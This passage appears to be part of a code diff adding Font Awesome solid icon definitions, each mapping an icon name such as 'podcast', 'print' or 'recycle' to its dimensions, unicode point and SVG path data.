12 12v56z" ], + "plus-square": [ 448, 512, [], "f0fe", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z" ], + podcast: [ 448, 512, [], "f2ce", "M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z" ], + poll: [ 448, 512, [], "f681", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z" ], + "poll-h": [ 448, 512, [], "f682", "M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z" ], + poo: [ 512, 512, [], "f2fe", "M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "poo-storm": [ 448, 512, [], "f75a", "M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z" ], + poop: [ 512, 512, [], "f619", "M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z" ], + portrait: [ 384, 512, [], "f3e0", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "pound-sign": [ 320, 512, [], "f154", "M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z" ], + "power-off": [ 512, 512, [], "f011", "M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z" ], + pray: [ 384, 512, [], "f683", "M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z" ], + "praying-hands": [ 640, 512, [], "f684", "M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z" ], + prescription: [ 384, 512, [], "f5b1", "M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z" ], + "prescription-bottle": [ 384, 512, [], "f485", "M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z" ], + "prescription-bottle-alt": [ 384, 512, [], "f486", "M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z" ], + print: [ 512, 512, [], "f02f", "M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + procedures: [ 640, 512, [], "f487", "M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm24 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z" ], + "project-diagram": [ 640, 512, [], "f542", "M384 320H256c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM192 32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v128c0 17.67 14.33 32 32 32h95.72l73.16 128.04C211.98 300.98 232.4 288 256 288h.28L192 175.51V128h224V64H192V32zM608 0H480c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h128c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32z" ], + "pump-medical": [ 384, 512, [], "e06a", "M235.51,159.82H84.24A64,64,0,0,0,20.51,218L.14,442a64,64,0,0,0,63.74,69.8h192A64,64,0,0,0,319.61,442L299.24,218A64,64,0,0,0,235.51,159.82Zm4.37,173.33a13.35,13.35,0,0,1-13.34,13.34h-40v40a13.33,13.33,0,0,1-13.33,13.33H146.54a13.33,13.33,0,0,1-13.33-13.33v-40h-40a13.34,13.34,0,0,1-13.33-13.34V306.49a13.33,13.33,0,0,1,13.33-13.34h40v-40a13.33,13.33,0,0,1,13.33-13.33h26.67a13.33,13.33,0,0,1,13.33,13.33v40h40a13.34,13.34,0,0,1,13.34,13.34ZM379.19,93.88,335.87,50.56a64,64,0,0,0-45.24-18.74H223.88a32,32,0,0,0-32-32h-64a32,32,0,0,0-32,32v96h128v-32h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.19,93.88Z" ], + "pump-soap": [ 384, 512, [], "e06b", "M235.63,160H84.37a64,64,0,0,0-63.74,58.21L.27,442.21A64,64,0,0,0,64,512H256a64,64,0,0,0,63.74-69.79l-20.36-224A64,64,0,0,0,235.63,160ZM160,416c-33.12,0-60-26.33-60-58.75,0-25,35.7-75.47,52-97.27A10,10,0,0,1,168,260c16.33,21.8,52,72.27,52,97.27C220,389.67,193.12,416,160,416ZM379.31,94.06,336,50.74A64,64,0,0,0,290.75,32H224A32,32,0,0,0,192,0H128A32,32,0,0,0,96,32v96H224V96h66.75l43.31,43.31a16,16,0,0,0,22.63,0l22.62-22.62A16,16,0,0,0,379.31,94.06Z" ], + "puzzle-piece": [ 576, 512, [], "f12e", "M519.442 288.651c-41.519 0-59.5 31.593-82.058 31.593C377.409 320.244 432 144 432 144s-196.288 80-196.288-3.297c0-35.827 36.288-46.25 36.288-85.985C272 19.216 243.885 0 210.539 0c-34.654 0-66.366 18.891-66.366 56.346 0 41.364 31.711 59.277 31.711 81.75C175.885 207.719 0 166.758 0 166.758v333.237s178.635 41.047 178.635-28.662c0-22.473-40-40.107-40-81.471 0-37.456 29.25-56.346 63.577-56.346 33.673 0 61.788 19.216 61.788 54.717 0 39.735-36.288 50.158-36.288 85.985 0 60.803 129.675 25.73 181.23 25.73 0 0-34.725-120.101 25.827-120.101 35.962 0 46.423 36.152 86.308 36.152C556.712 416 576 387.99 576 354.443c0-34.199-18.962-65.792-56.558-65.792z" ], + qrcode: [ 448, 512, [], "f029", "M0 224h192V32H0v192zM64 96h64v64H64V96zm192-64v192h192V32H256zm128 128h-64V96h64v64zM0 480h192V288H0v192zm64-128h64v64H64v-64zm352-64h32v128h-96v-32h-32v96h-64V288h96v32h64v-32zm0 160h32v32h-32v-32zm-64 0h32v32h-32v-32z" ], + question: [ 384, 512, [], "f128", "M202.021 0C122.202 0 70.503 32.703 29.914 91.026c-7.363 10.58-5.093 25.086 5.178 32.874l43.138 32.709c10.373 7.865 25.132 6.026 33.253-4.148 25.049-31.381 43.63-49.449 82.757-49.449 30.764 0 68.816 19.799 68.816 49.631 0 22.552-18.617 34.134-48.993 51.164-35.423 19.86-82.299 44.576-82.299 106.405V320c0 13.255 10.745 24 24 24h72.471c13.255 0 24-10.745 24-24v-5.773c0-42.86 125.268-44.645 125.268-160.627C377.504 66.256 286.902 0 202.021 0zM192 373.459c-38.196 0-69.271 31.075-69.271 69.271 0 38.195 31.075 69.27 69.271 69.27s69.271-31.075 69.271-69.271-31.075-69.27-69.271-69.27z" ], + "question-circle": [ 512, 512, [], "f059", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z" ], + quidditch: [ 640, 512, [], "f458", "M256.5 216.8L343.2 326s-16.6 102.4-76.6 150.1C206.7 523.8 0 510.2 0 510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z" ], + "quote-left": [ 512, 512, [], "f10d", "M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z" ], + "quote-right": [ 512, 512, [], "f10e", "M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z" ], + quran: [ 448, 512, [], "f687", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z" ], + radiation: [ 496, 512, [], "f7b9", "M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z" ], + "radiation-alt": [ 496, 512, [], "f7ba", "M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" ], + rainbow: [ 576, 512, [], "f75b", "M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z" ], + random: [ 512, 512, [], "f074", "M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z" ], + receipt: [ 384, 512, [], "f543", "M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z" ], + "record-vinyl": [ 512, 512, [], "f8d9", "M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z" ], + recycle: [ 512, 512, [], "f1b8", "M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z" ], + redo: [ 512, 512, [], "f01e", "M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z" ], + "redo-alt": [ 512, 512, [], "f2f9", "M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 